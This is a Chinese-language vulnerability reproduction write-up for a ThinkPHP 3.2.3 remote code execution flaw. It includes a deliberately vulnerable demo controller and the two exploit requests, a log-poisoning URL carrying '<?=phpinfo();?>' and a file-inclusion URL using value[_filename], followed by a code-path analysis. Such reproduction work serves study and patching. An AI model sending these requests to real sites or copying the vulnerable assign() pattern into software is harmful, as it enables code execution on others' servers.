发布于2022年10月18日3年前 简介 ThinkPHP3.2的远程代码执行漏洞。该漏洞是在受影响的版本中,业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。 环境 windows 10 phpstudy 5.6 Thinkphp 3.2.3完整版 复现过程 demo: demo代码说明:如果需要测试请把demo代码放入对应位置,代码位置:\Application\Home\Controller\IndexController.class.php,因为程序要进入模板渲染方法方法中,所以需要创建对应的模板文件,内容随意,模板文件位置:Application\Home\View\Index (View没有Index文件夹需要自己创建) <?php namespace Home\Controller; use Think\Controller; class IndexController extends Controller { public function index($value=''){ $this->assign($value); $this->display(); } } 利用步骤: 1. 创建log 2. 包含log 创建log发送请求 注意,m=后面的code不要url编码,否则包含的时候会失败) http://127.0.0.1/index.php?m=--><?=phpinfo();?> 包含log http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_07_12.log Debug开启和关闭的路径不同: 开启: Application\Runtime\Logs\Common\<log> 关闭: Application\Runtime\Logs\Home\<log> 漏洞点分析 1.assign函数返回模板变量 2.到display函数开始解析 3.到达View.Class.php发现把payload传入到Hook::Listen函数 4.进入循环在将payload传入self::exec函数 5.调用Behavior\ParseTemplateBehavior类 (将log文件写入缓存php) 6.调用fetch函数 最后load函数加载 (不会描述,原文章描述的很好) 参考链接 https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQhttps://blog.csdn.net/cvper/article/details/66713909
创建帐户或登录后发表意见